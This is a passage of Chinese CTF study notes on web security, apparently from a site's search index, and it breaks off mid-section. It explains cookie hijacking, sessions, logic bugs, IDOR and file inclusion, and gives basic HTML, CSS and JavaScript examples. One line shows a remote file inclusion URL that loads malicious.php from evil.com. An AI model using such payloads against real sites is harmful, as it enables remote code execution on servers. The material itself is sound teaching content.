<li>\u793a\u4f8b\uff1a\u7528\u6237\u767b\u5f55\u540e\uff0c\u670d\u52a1\u5668\u53d1\u9001\u4e00\u4e2a\u5305\u542b\u7528\u6237ID\u7684Cookie\u5230\u5ba2\u6237\u7aef\uff0c\u5ba2\u6237\u7aef\u5728\u540e\u7eed\u8bf7\u6c42\u4e2d\u81ea\u52a8\u5305\u542b\u8be5Cookie\uff0c\u4ee5\u4fbf\u670d\u52a1\u5668\u8bc6\u522b\u7528\u6237\u3002</li> <li>Cookie\u52ab\u6301\uff1a\u653b\u51fb\u8005\u901a\u8fc7XSS\u653b\u51fb\u6216\u5176\u4ed6\u624b\u6bb5\u83b7\u53d6\u7528\u6237\u7684Cookie\uff0c\u4ece\u800c\u5192\u5145\u7528\u6237\u8eab\u4efd\u3002</li> </ul> </li> <li>Session\uff1a\u5b58\u50a8\u5728\u670d\u52a1\u5668\u7aef\u7684\u4e34\u65f6\u6570\u636e\u5b58\u50a8\u533a\u57df\uff0c\u901a\u5e38\u7528\u4e8e\u5b58\u50a8\u7528\u6237\u7684\u4f1a\u8bdd\u72b6\u6001\u4fe1\u606f\u3002<ul> <li>\u793a\u4f8b\uff1a\u7528\u6237\u767b\u5f55\u540e\uff0c\u670d\u52a1\u5668\u521b\u5efa\u4e00\u4e2aSession\uff0c\u5e76\u5c06Session ID\u901a\u8fc7Cookie\u53d1\u9001\u7ed9\u5ba2\u6237\u7aef\u3002\u5ba2\u6237\u7aef\u5728\u540e\u7eed\u8bf7\u6c42\u4e2d\u5305\u542b\u8be5Session ID\uff0c\u670d\u52a1\u5668\u6839\u636eSession ID\u67e5\u627e\u5bf9\u5e94\u7684Session\u6570\u636e\u3002</li> <li>\u5982\u679c\u670d\u52a1\u5668\u88ab\u653b\u7834\uff0cSession\u4e2d\u5c31\u53ef\u80fd\u6709\u4e00\u4e9b\u654f\u611f\u4fe1\u606f\u3002</li> </ul> </li> </ul> </li> <li>\u903b\u8f91\u6f0f\u6d1e\uff1a\u9a8c\u8bc1\u4e0d\u5145\u5206\u3001\u60f3\u5f53\u7136\u7684\u5199\u6cd5\u3001\u6761\u4ef6\u7ade\u4e89\u3001\u672a\u53d1\u73b0\u7684\u65c1\u95e8\u5de6\u9053\u2026\u2026<ul> <li>\u7a0b\u5e8f\u5458\u7684\u50b2\u6162\u53ef\u80fd\u4f1a\u8ba9\u4ed6\u8ba4\u4e3a<code>a==1&amp;&amp;a==2</code> \u4e00\u5b9a\u662f false \u4f46\u2026\u2026</li> </ul> </li> </ul> <ul> <li>\u4efb\u610f\u6587\u4ef6\u8bfb\u4e0e\u4efb\u610f\u4ee3\u7801\u6267\u884c<ul> <li>\u4f8b\u5982\u4e00\u4e2aWeb\u5e94\u7528\u5141\u8bb8\u7528\u6237\u4e0a\u4f20\u5934\u50cf\uff0c\u4f46\u672a\u5bf9\u4e0a\u4f20\u7684\u6587\u4ef6\u8fdb\u884c\u4e25\u683c\u7684\u7c7b\u578b\u548c\u5185\u5bb9\u68c0\u67e5\u3002\u653b\u51fb\u8005\u4e0a\u4f20\u4e00\u4e2a\u5305\u542b\u6076\u610f\u4ee3\u7801\u7684\u6587\u4ef6\uff0c\u5e76\u901a\u8fc7\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u6267\u884c\u8be5\u4ee3\u7801\uff0c\u4ece\u800c\u63a7\u5236\u670d\u52a1\u5668\u3002</li> <li>CTF\u7ade\u8d5b\u4e2d\uff0c\u80fd\u8bfb\u670d\u52a1\u5668\u4e0a <code>/flag</code> \u5219\u8bfb\uff0c\u5426\u5219\u5c31\u6697\u793a\u6211\u4eec\u9700\u8981 RCE (\u4e0d\u7136\u8fde flag \u5728\u54ea\u4e2a\u6587\u4ef6\u90fd\u4e0d\u77e5\u9053).</li> </ul> </li> <li>\u6587\u4ef6\u5305\u542b\uff1a\u4f8b\u5982\u4e00\u4e2aWeb\u5e94\u7528\u5141\u8bb8\u7528\u6237\u901a\u8fc7URL\u53c2\u6570\u6307\u5b9a\u8981\u5305\u542b\u7684\u6587\u4ef6\uff0c\u5982<code>index.php?page=about</code>\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u6076\u610fURL\uff0c\u5982<code>index.php?page=http://evil.com/malicious.php</code>\uff0c\u5305\u542b\u8fdc\u7a0b\u6076\u610f\u6587\u4ef6\uff0c\u4ece\u800c\u6267\u884c\u6076\u610f\u4ee3\u7801\u3002</li> <li>\u8d8a\u6743\uff1a\u4f8b\u5982\u4e00\u4e2aWeb\u5e94\u7528\u5141\u8bb8\u7528\u6237\u67e5\u770b\u81ea\u5df1\u7684\u8ba2\u5355\u4fe1\u606f\uff0c\u4f46\u672a\u6b63\u786e\u9a8c\u8bc1\u7528\u6237\u7684\u8eab\u4efd\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u7be1\u6539URL\u53c2\u6570\uff0c\u5982<code>order.php?id=123</code>\uff0c\u67e5\u770b\u5176\u4ed6\u7528\u6237\u7684\u8ba2\u5355\u4fe1\u606f\u3002<ul> <li>\u6c38\u8fdc\u4e0d\u8981\u76f8\u4fe1\u7528\u6237\u7684\u6570\u636e\uff01\u524d\u7aef\u4ee3\u7801\u4e5f\u8bb8\u6c38\u8fdc\u4e0d\u4f1a\u8bbf\u95ee\u5176\u4ed6\u7528\u6237\u7684\u6570\u636e\uff0c\u4f46\u8fd9\u4e0d\u4ee3\u8868\u6076\u610f\u653b\u51fb\u8005\u5c31\u4e0d\u4f1a</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/web/#_5","title":"\u524d\u7aef\uff1a\u53ef\u89c6\u5316\u4e0e\u64cd\u4f5c\u903b\u8f91","text":"<p>\u524d\u7aef\u5f00\u53d1\u4e3b\u8981\u5173\u6ce8\u7528\u6237\u754c\u9762\u7684\u8bbe\u8ba1\u548c\u7528\u6237\u4ea4\u4e92\u3002\u5728\u8fd9\u4e00\u90e8\u5206\uff0c\u6211\u4eec\u5c06\u5b66\u4e60HTML\u3001CSS\u548cJavaScript\u7684\u57fa\u7840\u77e5\u8bc6\uff0c\u4ee5\u53ca\u524d\u7aef\u5b89\u5168\u7684\u91cd\u8981\u6027\u548c\u5e38\u89c1\u7684\u9632\u62a4\u63aa\u65bd\u3002\u540c\u65f6\uff0c\u6211\u4eec\u4f1a\u901a\u8fc7\u7ecf\u5178\u6848\u4f8b\u5206\u6790\u524d\u7aef\u6f0f\u6d1e\u7684\u5229\u7528\u65b9\u6cd5\u548c\u9632\u62a4\u7b56\u7565\u3002</p> <ul> <li>HTML / CSS / JS\u57fa\u7840<ul> <li>HTML \u7b80\u5355\u4ecb\u7ecd<ul> <li>\u683c\u5f0f\uff1a\u5404\u4e2a\u6807\u7b7e\u5d4c\u5957\u7684\u5c42\u7ea7\u7ed3\u6784\uff0c\u6bcf\u4e2a\u6807\u7b7e\u57fa\u672c\u4e0a\u5c31\u5bf9\u5e94\u9875\u9762\u4e0a\u7684\u4e00\u4e2a\u5143\u7d20</li> </ul> </li> </ul> </li> </ul> Note <pre><code>&lt;!DOCTYPE html&gt;\n&lt;html lang=\"zh-CN\"&gt;\n&lt;head&gt;\n    &lt;meta charset=\"UTF-8\"&gt;\n    &lt;title&gt;HTML \u548c CSS \u793a\u4f8b&lt;/title&gt;\n    &lt;link rel=\"stylesheet\" href=\"styles.css\"&gt;\n&lt;/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;h1&gt;\u6b22\u8fce\u6765\u5230\u6211\u7684\u7f51\u7ad9&lt;/h1&gt;\n        &lt;nav&gt;\n            &lt;ul&gt;\n                &lt;li&gt;&lt;a href=\"#home\"&gt;\u9996\u9875&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"#about\"&gt;\u5173\u4e8e\u6211\u4eec&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"#contact\"&gt;\u8054\u7cfb\u6211\u4eec&lt;/a&gt;&lt;/li&gt;\n            &lt;/ul&gt;\n        &lt;/nav&gt;\n    &lt;/header&gt;\n    &lt;main&gt;\n        &lt;section id=\"home\"&gt;\n            &lt;h2&gt;\u9996\u9875&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u8fd9\u662f\u6211\u4eec\u7684\u9996\u9875\uff0c\u6b22\u8fce\u60a8\u7684\u5230\u6765\uff01&lt;/p&gt;\n        &lt;/section&gt;\n        &lt;section id=\"about\"&gt;\n            &lt;h2&gt;\u5173\u4e8e\u6211\u4eec&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u6211\u4eec\u662f\u4e00\u5bb6\u4e13\u4e1a\u7684Web\u5f00\u53d1\u516c\u53f8\u3002&lt;/p&gt;\n        &lt;/section&gt;\n        &lt;section id=\"contact\"&gt;\n            &lt;h2&gt;\u8054\u7cfb\u6211\u4eec&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u5982\u679c\u60a8\u6709\u4efb\u4f55\u95ee\u9898\uff0c\u8bf7\u968f\u65f6\u8054\u7cfb\u6211\u4eec\u3002&lt;/p&gt;\n            &lt;form&gt;\n                &lt;label for=\"name\"&gt;\u59d3\u540d:&lt;/label&gt;\n                &lt;input type=\"text\" id=\"name\" name=\"name\"&gt;&lt;br&gt;\n                &lt;label for=\"email\"&gt;\u90ae\u7bb1:&lt;/label&gt;\n                &lt;input type=\"email\" id=\"email\" name=\"email\"&gt;&lt;br&gt;\n                &lt;input type=\"submit\" value=\"\u63d0\u4ea4\"&gt;\n            &lt;/form&gt;\n        &lt;/section&gt;\n    &lt;/main&gt;\n    &lt;footer&gt;\n        &lt;p&gt;&amp;copy; 2023 \u6211\u7684\u7f51\u7ad9&lt;/p&gt;\n    &lt;/footer&gt;\n&lt;/body&gt;\n&lt;/html&gt; \n</code></pre> <ul> <li>CSS \u7b80\u5355\u4ecb\u7ecd<ul> <li>\u7528\u9014\uff1a\u5143\u7d20\u5bbd\u5ea6\u3001\u5916\u90e8\u95f4\u9694\u3001\u5185\u90e8\u8fb9\u8ddd\u3001\u5b57\u4f53\u989c\u8272\u2026\u2026</li> <li>\u9009\u62e9\u5668\u8bed\u6cd5\uff1a\u9009\u62e9\u4f60\u8981\u628a\u8fd9\u4e9b\u5c5e\u6027\u5e94\u7528\u7ed9\u54ea\u4e9b\u5143\u7d20<ul> <li>\u5143\u7d20\u9009\u62e9\u5668<code>body</code></li> <li>\u7c7b\u9009\u62e9\u5668<code>.my-class</code></li> <li>ID\u9009\u62e9\u5668<code>#myid</code></li> </ul> </li> </ul> </li> </ul> Note <pre><code>/* \u57fa\u672c\u6837\u5f0f */\nbody {\n    font-family: Arial, sans-serif;\n    margin: 0;\n    padding: 0;\n    background-color: #f4f4f4;\n}\n\nheader {\n    background-color: #333;\n    color: #fff;\n    padding: 10px 0;\n    text-align: center;\n}\n\nnav ul {\n    list-style: none;\n    padding: 0;\n}\n\nnav ul li {\n    display: inline;\n    margin: 0 10px;\n}\n\nnav ul li a {\n    color: #fff;\n    text-decoration: none;\n}\n\nmain {\n    padding: 20px;\n}\n\nsection {\n    margin-bottom: 20px;\n}\n\n.intro {\n    font-style: italic;\n    color: #555;\n}\n\nfooter {\n    background-color: #333;\n    color: #fff;\n    text-align: center;\n    padding: 10px 0;\n    position: fixed;\n    width: 100%;\n    bottom: 0;\n}\n\n/* \u8868\u5355\u6837\u5f0f */\nform {\n    margin-top: 20px;\n}\n\nform label {\n    display: block;\n    margin-bottom: 5px;\n}\n\nform input[type=\"text\"],\nform input[type=\"email\"] {\n    width: 100%;\n    padding: 8px;\n    margin-bottom: 10px;\n    border: 1px solid #ccc;\n    border-radius: 4px;\n}\n\nform input[type=\"submit\"] {\n    background-color: #333;\n    color: #fff;\n    padding: 10px 20px;\n    border: none;\n    border-radius: 4px;\n    cursor: pointer;\n}\n\nform input[type=\"submit\"]:hover {\n    background-color: #555;\n}\n</code></pre> <ul> <li>JS<ul> <li>\u5305\u88f9\u5728<code>&lt;script&gt;</code>\u4e2d</li> <li>\u53ef\u4ee5\u505a\u4ec0\u4e48\uff1a\u5d4c\u5165\u7f51\u9875\u4e2d\uff0c\u8ba9\u7f51\u9875\u5177\u5907\u9ad8\u7ea7\u7684\u4ea4\u4e92\u903b\u8f91</li> </ul> </li> </ul> Note <pre><code>&lt;!DOCTYPE html&gt;\n&lt;html lang=\"zh-CN\"&gt;\n&lt;head&gt;\n    &lt;meta charset=\"UTF-8\"&gt;\n    &lt;title&gt;\u73b0\u4ee3Web\u5f00\u53d1\u793a\u4f8b&lt;/title&gt;\n    &lt;style&gt;\n        /* CSS \u6837\u5f0f */\n        body {\n            font-family: Arial, sans-serif;\n            margin: 0;\n            padding: 0;\n            background-color: #f4f4f4;\n        }\n\n        header {\n            background-color: #333;\n            color: #fff;\n            padding: 10px 0;\n            text-align: center;\n        }\n\n        nav ul {\n            list-style: none;\n            padding: 0;\n        }\n\n        nav ul li {\n            display: inline;\n            margin: 0 10px;\n        }\n\n        nav ul li a {\n            color: #fff;\n            text-decoration: none;\n        }\n\n        main {\n            padding: 20px;\n        }\n\n        section {\n            margin-bottom: 20px;\n        }\n\n        .intro {\n            font-style: italic;\n            color: #555;\n        }\n\n        footer {\n            background-color: #333;\n            color: #fff;\n            text-align: center;\n            padding: 10px 0;\n            position: fixed;\n            width: 100%;\n            bottom: 0;\n        }\n\n        form {\n            margin-top: 20px;\n        }\n\n        form label {\n            display: block;\n            margin-bottom: 5px;\n        }\n\n        form input[type=\"text\"],\n        form input[type=\"email\"] {\n            width: 100%;\n            padding: 8px;\n            margin-bottom: 10px;\n            border: 1px solid #ccc;\n            border-radius: 4px;\n        }\n\n        form input[type=\"submit\"] {\n            background-color: #333;\n            color: #fff;\n            padding: 10px 20px;\n            border: none;\n            border-radius: 4px;\n            cursor: pointer;\n        }\n\n        form input[type=\"submit\"]:hover {\n            background-color: #555;\n        }\n    &lt;/style&gt;\n    &lt;script&gt;\n        // JavaScript \u4ee3\u7801\n        function greetUser() {\n            var name = prompt(\"\u8bf7\u8f93\u5165\u60a8\u7684\u540d\u5b57:\");\n            if (name) {\n                alert(\"\u4f60\u597d, \" + name + \"!\");\n            } else {\n                alert(\"\u4f60\u597d, \u8bbf\u5ba2!\");\n            }\n        }\n\n        function validateForm() {\n            var name = document.getElementById(\"name\").value;\n            var email = document.getElementById(\"email\").value;\n            if (name === \"\" || email === \"\") {\n                alert(\"\u8bf7\u586b\u5199\u6240\u6709\u5b57\u6bb5\uff01\");\n                return false;\n            }\n            return true;\n        }\n    &lt;/script&gt;\n&lt;/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;h1&gt;\u6b22\u8fce\u6765\u5230\u6211\u7684\u7f51\u7ad9&lt;/h1&gt;\n        &lt;nav&gt;\n            &lt;ul&gt;\n                &lt;li&gt;&lt;a href=\"#home\"&gt;\u9996\u9875&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"#about\"&gt;\u5173\u4e8e\u6211\u4eec&lt;/a&gt;&lt;/li&gt;\n                &lt;li&gt;&lt;a href=\"#contact\"&gt;\u8054\u7cfb\u6211\u4eec&lt;/a&gt;&lt;/li&gt;\n            &lt;/ul&gt;\n        &lt;/nav&gt;\n    &lt;/header&gt;\n    &lt;main&gt;\n        &lt;section id=\"home\"&gt;\n            &lt;h2&gt;\u9996\u9875&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u8fd9\u662f\u6211\u4eec\u7684\u9996\u9875\uff0c\u6b22\u8fce\u60a8\u7684\u5230\u6765\uff01&lt;/p&gt;\n            &lt;button onclick=\"greetUser()\"&gt;\u6253\u62db\u547c&lt;/button&gt;\n        &lt;/section&gt;\n        &lt;section id=\"about\"&gt;\n            &lt;h2&gt;\u5173\u4e8e\u6211\u4eec&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u6211\u4eec\u662f\u4e00\u5bb6\u4e13\u4e1a\u7684Web\u5f00\u53d1\u516c\u53f8\u3002&lt;/p&gt;\n        &lt;/section&gt;\n        &lt;section id=\"contact\"&gt;\n            &lt;h2&gt;\u8054\u7cfb\u6211\u4eec&lt;/h2&gt;\n            &lt;p class=\"intro\"&gt;\u5982\u679c\u60a8\u6709\u4efb\u4f55\u95ee\u9898\uff0c\u8bf7\u968f\u65f6\u8054\u7cfb\u6211\u4eec\u3002&lt;/p&gt;\n            &lt;form onsubmit=\"return validateForm()\"&gt;\n                &lt;label for=\"name\"&gt;\u59d3\u540d:&lt;/label&gt;\n                &lt;input type=\"text\" id=\"name\" name=\"name\"&gt;&lt;br&gt;\n                &lt;label for=\"email\"&gt;\u90ae\u7bb1:&lt;/label&gt;\n                &lt;input type=\"email\" id=\"email\" name=\"email\"&gt;&lt;br&gt;\n                &lt;input type=\"submit\" value=\"\u63d0\u4ea4\"&gt;\n            &lt;/form&gt;\n        &lt;/section&gt;\n    &lt;/main&gt;\n    &lt;footer&gt;\n        &lt;p&gt;&amp;copy; 2023 \u6211\u7684\u7f51\u7ad9&lt;/p&gt;\n    &lt;/footer&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre> <ul> <li>\u73b0\u4ee3\u7684\u89e3\u51b3\u65b9\u5f0f\uff1a\u4f7f\u7528\u524d\u7aef\u6846\u67b6<ul> <li>React.js Vue.js \u2026 \u4f46\u672c\u8d28\u4e0a\u8fd8\u662f\u539f\u751fjs</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/web/#javascript-typescript","title":"\u7f16\u7801\u57fa\u7840\uff1aJavaScript \u4e0e TypeScript","text":""},{"location":"NOTE/CTF/web/#javascript","title":"JavaScript","text":"<p>JavaScript \u7b80\u4ecb\u4e0e\u5386\u53f2</p> <p>JavaScript\uff08\u7b80\u79f0JS\uff09\u662f\u7531Netscape\u516c\u53f8\u7684Brendan Eich\u57281995\u5e74\u5341\u5929\u5185\u5f00\u53d1\u51fa\u6765\u7684\u4e00\u79cd\u811a\u672c\u8bed\u8a00\u3002\u6700\u521d\u8bbe\u8ba1\u7528\u4e8e\u6d4f\u89c8\u5668\u7aef\u7684\u52a8\u6001\u7f51\u9875\u5185\u5bb9\u751f\u6210\uff0cJavaScript\u8fc5\u901f\u6210\u4e3aWeb\u5f00\u53d1\u7684\u6838\u5fc3\u6280\u672f\u4e4b\u4e00\uff0c\u4e0eHTML\u548cCSS\u5e76\u5217\u4e3a\u524d\u7aef\u5f00\u53d1\u7684\u4e09\u5927\u652f\u67f1\u3002</p> <ul> <li>\u8bde\u751f\u80cc\u666f\uff1aJavaScript\u8bde\u751f\u4e8eWeb 1.0\u65f6\u4ee3\uff0c\u6700\u521d\u88ab\u79f0\u4e3aMocha\uff0c\u540e\u6539\u540d\u4e3aLiveScript\uff0c\u6700\u540e\u624d\u6210\u4e3aJavaScript\u3002</li> <li>\u53d1\u5c55\u5386\u7a0b\uff1a\u4ece\u6700\u521d\u7684\u5ba2\u6237\u7aef\u811a\u672c\u8bed\u8a00\uff0cJavaScript\u9010\u6b65\u6f14\u53d8\u6210\u4e00\u95e8\u5f3a\u5927\u7684\u7f16\u7a0b\u8bed\u8a00\uff0c\u73b0\u4eca\u4e0d\u4ec5\u7528\u4e8e\u6d4f\u89c8\u5668\u7aef\uff0c\u8fd8\u5728\u670d\u52a1\u5668\u7aef\u5e7f\u6cdb\u5e94\u7528\u3002</li> </ul> <p>JavaScript\u7684\u57fa\u672c\u8bed\u6cd5\u548c\u7279\u70b9</p> <p>JavaScript\u8bed\u6cd5\u7075\u6d3b\uff0c\u5177\u6709\u52a8\u6001\u7c7b\u578b\u3001\u51fd\u6570\u5f0f\u7f16\u7a0b\u548c\u539f\u578b\u7ee7\u627f\u7b49\u7279\u70b9\u3002</p> <ul> <li> <p>\u53d8\u91cf\u58f0\u660e\uff1a\u4f7f\u7528<code>var</code>\u3001<code>let</code>\u548c<code>const</code>\u58f0\u660e\u53d8\u91cf\u3002</p> <pre><code>var x = 5;\nlet y = 10;\nconst z = 15;\n</code></pre> </li> <li> <p>\u51fd\u6570\u5b9a\u4e49\uff1a</p> <pre><code>function add(a, b) {\n  return a + b;\n}\n</code></pre> </li> <li> <p>\u6761\u4ef6\u5224\u65ad\uff1a     <pre><code>if (x &gt; y) {\n  console.log(\"x is greater than y\");\n} else {\n  console.log(\"x is less than or equal to y\");\n}\n</code></pre> \u200b</p> </li> <li>\u5faa\u73af\uff1a    <pre><code>   for (let i = 0; i &lt; 5; i++) {\n     console.log(i);\n   }\n</code></pre></li> </ul> <p>\u200b   - \u4e8b\u4ef6\u5904\u7406\uff1a     <pre><code>  document.getElementById(\"myButton\").addEventListener(\"click\", function() {\n    alert(\"Button clicked!\");\n  });\n</code></pre> JavaScript\u7075\u6d3b\u6027\u5f88\u5f3a\uff0c\u4f46\u8fd9\u4e5f\u5e26\u6765\u4e86\u67d0\u4e9b\u6f5c\u5728\u95ee\u9898\uff0c\u6bd4\u5982\u7c7b\u578b\u4e0d\u5b89\u5168\u3001\u4ee3\u7801\u7ef4\u62a4\u6027\u5dee\u7b49</p>"},{"location":"NOTE/CTF/web/#typescript","title":"TypeScript","text":"<p>TypeScript\u7684\u7279\u70b9\u548c\u4f18\u70b9</p> <p>TypeScript\uff08\u7b80\u79f0TS\uff09\u662f\u7531\u5fae\u8f6f\u5f00\u53d1\u7684\u4e00\u79cd\u5f00\u6e90\u7f16\u7a0b\u8bed\u8a00\uff0c\u662fJavaScript\u7684\u8d85\u96c6\uff0c\u589e\u52a0\u4e86\u9759\u6001\u7c7b\u578b\u548c\u7c7b\u7b49\u7279\u6027\u3002</p> <ul> <li>\u9759\u6001\u7c7b\u578b\uff1a\u901a\u8fc7\u7c7b\u578b\u68c0\u67e5\u51cf\u5c11\u8fd0\u884c\u65f6\u9519\u8bef\uff0c\u63d0\u9ad8\u4ee3\u7801\u7684\u53ef\u7ef4\u62a4\u6027\u3002</li> <li>\u7c7b\u548c\u63a5\u53e3\uff1a\u652f\u6301\u9762\u5411\u5bf9\u8c61\u7f16\u7a0b\uff0c\u589e\u5f3a\u4ee3\u7801\u7ed3\u6784\u6027</li> <li>\u6a21\u5757\u5316\uff1a\u652f\u6301\u6a21\u5757\u5316\u7f16\u7a0b\uff0c\u63d0\u9ad8\u4ee3\u7801\u590d\u7528\u6027\u548c\u7ec4\u7ec7\u6027</li> </ul>"},{"location":"NOTE/CTF/web/#nodejs","title":"Node.js\u7b80\u4ecb","text":"<p>Node.js\u7684\u8d77\u6e90\u548c\u53d1\u5c55</p> <p>Node.js\u662f\u7531Ryan Dahl\u57282009\u5e74\u5f00\u53d1\u7684\u4e00\u4e2a\u5f00\u6e90\u3001\u8de8\u5e73\u53f0\u7684JavaScript\u8fd0\u884c\u65f6\u73af\u5883\uff0c\u57fa\u4e8eChrome\u7684V8\u5f15\u64ce\u6784\u5efa\u3002Node.js\u7684\u51fa\u73b0\u4f7f\u5f97JavaScript\u53ef\u4ee5\u7528\u4e8e\u670d\u52a1\u5668\u7aef\u5f00\u53d1\u3002</p> <ul> <li>\u8d77\u6e90\uff1aNode.js\u8bde\u751f\u4e8e\u5bf9\u9ad8\u6027\u80fd\u3001\u975e\u963b\u585eI/O\u6a21\u578b\u7684\u9700\u6c42\u3002</li> <li>\u53d1\u5c55\uff1aNode.js\u8fc5\u901f\u53d1\u5c55\uff0c\u6210\u4e3a\u6784\u5efa\u9ad8\u6027\u80fd\u3001\u53ef\u6269\u5c55\u7f51\u7edc\u5e94\u7528\u7684\u9996\u9009\u5e73\u53f0\u3002</li> </ul> <p>Node.js\u7684\u57fa\u672c\u4f7f\u7528\u65b9\u6cd5\u4e0e\u5e94\u7528\u573a\u666f</p> <p>Node.js\u901a\u8fc7\u4e8b\u4ef6\u9a71\u52a8\u3001\u975e\u963b\u585eI/O\u6a21\u578b\uff0c\u4f7f\u5176\u5728\u5904\u7406\u5927\u91cf\u5e76\u53d1\u8bf7\u6c42\u65f6\u5177\u6709\u663e\u8457\u4f18\u52bf\u3002</p>"},{"location":"NOTE/CTF/web/#_6","title":"\u524d\u7aef\u76f8\u5173\u5b89\u5168\u9886\u57df","text":"<ul> <li>XSS\uff08\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff09</li> <li>CSRF\uff08\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020\uff09\u4e0e SSRF\uff08\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09</li> <li>\u8de8\u57df </li> </ul>"},{"location":"NOTE/CTF/web/#_7","title":"\u5c3e\u58f0","text":"<p>\u7ecf\u5178\u8001\u756a\uff1a\u5730\u5740\u680f\u8f93\u5165\u7f51\u5740\u5e76\u8bbf\u95ee\u540e\u53d1\u751f\u4e86\u4ec0\u4e48</p> <ol> <li>DNS\u89e3\u6790\uff08\u57df\u540d\u89e3\u6790\uff09\uff1a<ul> <li>\u6d4f\u89c8\u5668\u4f1a\u9996\u5148\u68c0\u67e5\u672c\u5730\u7f13\u5b58\u4e2d\u662f\u5426\u6709\u8be5\u7f51\u5740\u5bf9\u5e94\u7684IP\u5730\u5740\u3002</li> <li>\u5982\u679c\u6ca1\u6709\uff0c\u5b83\u4f1a\u5411DNS\u670d\u52a1\u5668\u53d1\u9001\u8bf7\u6c42\uff0c\u67e5\u8be2\u8be5\u7f51\u5740\u7684IP\u5730\u5740\u3002</li> <li>DNS\u670d\u52a1\u5668\u8fd4\u56de\u8be5\u7f51\u5740\u5bf9\u5e94\u7684IP\u5730\u5740\u7ed9\u6d4f\u89c8\u5668\u3002</li> </ul> </li> <li>\u5efa\u7acbTCP\u8fde\u63a5\uff1a<ul> <li>\u6d4f\u89c8\u5668\u4f7f\u7528\u524d\u9762\u5f97\u5230\u7684IP\u5730\u5740\uff0c\u901a\u8fc7TCP/IP\u534f\u8bae\u4e0e\u76ee\u6807\u670d\u52a1\u5668\u5efa\u7acb\u8fde\u63a5\u3002</li> <li>\u8fd9\u5305\u62ec\u4e09\u6b21\u63e1\u624b\u8fc7\u7a0b\uff1a\u5ba2\u6237\u7aef\u53d1\u9001SYN\u5305\uff0c\u670d\u52a1\u5668\u8fd4\u56deSYN-ACK\u5305\uff0c\u5ba2\u6237\u7aef\u518d\u53d1\u9001ACK\u5305\u786e\u8ba4\u8fde\u63a5\u3002</li> </ul> </li> <li>\u53d1\u9001HTTP\u8bf7\u6c42\uff1a<ul> <li>\u5efa\u7acb\u8fde\u63a5\u540e\uff0c\u6d4f\u89c8\u5668\u4f1a\u53d1\u9001\u4e00\u4e2aHTTP\u8bf7\u6c42\u5230\u670d\u52a1\u5668\u3002\u8fd9\u4e2a\u8bf7\u6c42\u5305\u542b\u4e86\u8bf7\u6c42\u65b9\u6cd5\uff08\u5982GET\u6216POST\uff09\u3001\u8bf7\u6c42\u7684\u8d44\u6e90\u8def\u5f84\u4ee5\u53ca\u4e00\u4e9b\u5934\u4fe1\u606f\uff08\u5982\u6d4f\u89c8\u5668\u7c7b\u578b\u3001\u53ef\u63a5\u53d7\u7684\u6587\u4ef6\u7c7b\u578b\u7b49\uff09\u3002</li> </ul> </li> <li>\u670d\u52a1\u5668\u5904\u7406\u8bf7\u6c42\u5e76\u8fd4\u56de\u54cd\u5e94\uff1a<ul> <li>\u670d\u52a1\u5668\u63a5\u6536\u5230\u8bf7\u6c42\u540e\uff0c\u4f1a\u5904\u7406\u8be5\u8bf7\u6c42\uff0c\u67e5\u627e\u8bf7\u6c42\u7684\u8d44\u6e90\uff08\u5982HTML\u6587\u4ef6\u3001\u56fe\u7247\u3001\u89c6\u9891\u7b49\uff09\u3002</li> <li>\u670d\u52a1\u5668\u4f1a\u5c06\u627e\u5230\u7684\u8d44\u6e90\u4ee5\u53ca\u4e00\u4e9b\u5934\u4fe1\u606f\uff08\u5982\u5185\u5bb9\u7c7b\u578b\u3001\u5185\u5bb9\u957f\u5ea6\u7b49\uff09\u6253\u5305\u6210HTTP\u54cd\u5e94\uff0c\u8fd4\u56de\u7ed9\u6d4f\u89c8\u5668\u3002</li> </ul> </li> <li>\u6d4f\u89c8\u5668\u63a5\u6536\u54cd\u5e94\u5e76\u6e32\u67d3\u9875\u9762\uff1a<ul> <li>\u6d4f\u89c8\u5668\u63a5\u6536\u5230\u670d\u52a1\u5668\u8fd4\u56de\u7684HTTP\u54cd\u5e94\u540e\uff0c\u4f1a\u89e3\u6790\u54cd\u5e94\u7684\u5934\u4fe1\u606f\u548c\u5185\u5bb9\u3002</li> <li>\u5982\u679c\u5185\u5bb9\u662fHTML\u6587\u4ef6\uff0c\u6d4f\u89c8\u5668\u4f1a\u89e3\u6790HTML\u5e76\u6839\u636e\u5176\u4e2d\u7684\u6307\u4ee4\uff08\u5982\u52a0\u8f7dCSS\u6587\u4ef6\u3001\u6267\u884cJavaScript\u811a\u672c\u7b49\uff09\u8fdb\u884c\u6e32\u67d3\u3002</li> <li>\u6d4f\u89c8\u5668\u4f1a\u9010\u6b65\u6784\u5efaDOM\u6811\u548cCSSOM\u6811\uff0c\u5e76\u6839\u636e\u5b83\u4eec\u751f\u6210\u6e32\u67d3\u6811\uff0c\u6700\u540e\u5c06\u5185\u5bb9\u7ed8\u5236\u5230\u5c4f\u5e55\u4e0a\u3002</li> </ul> </li> <li>\u52a0\u8f7d\u8d44\u6e90\uff1a<ul> 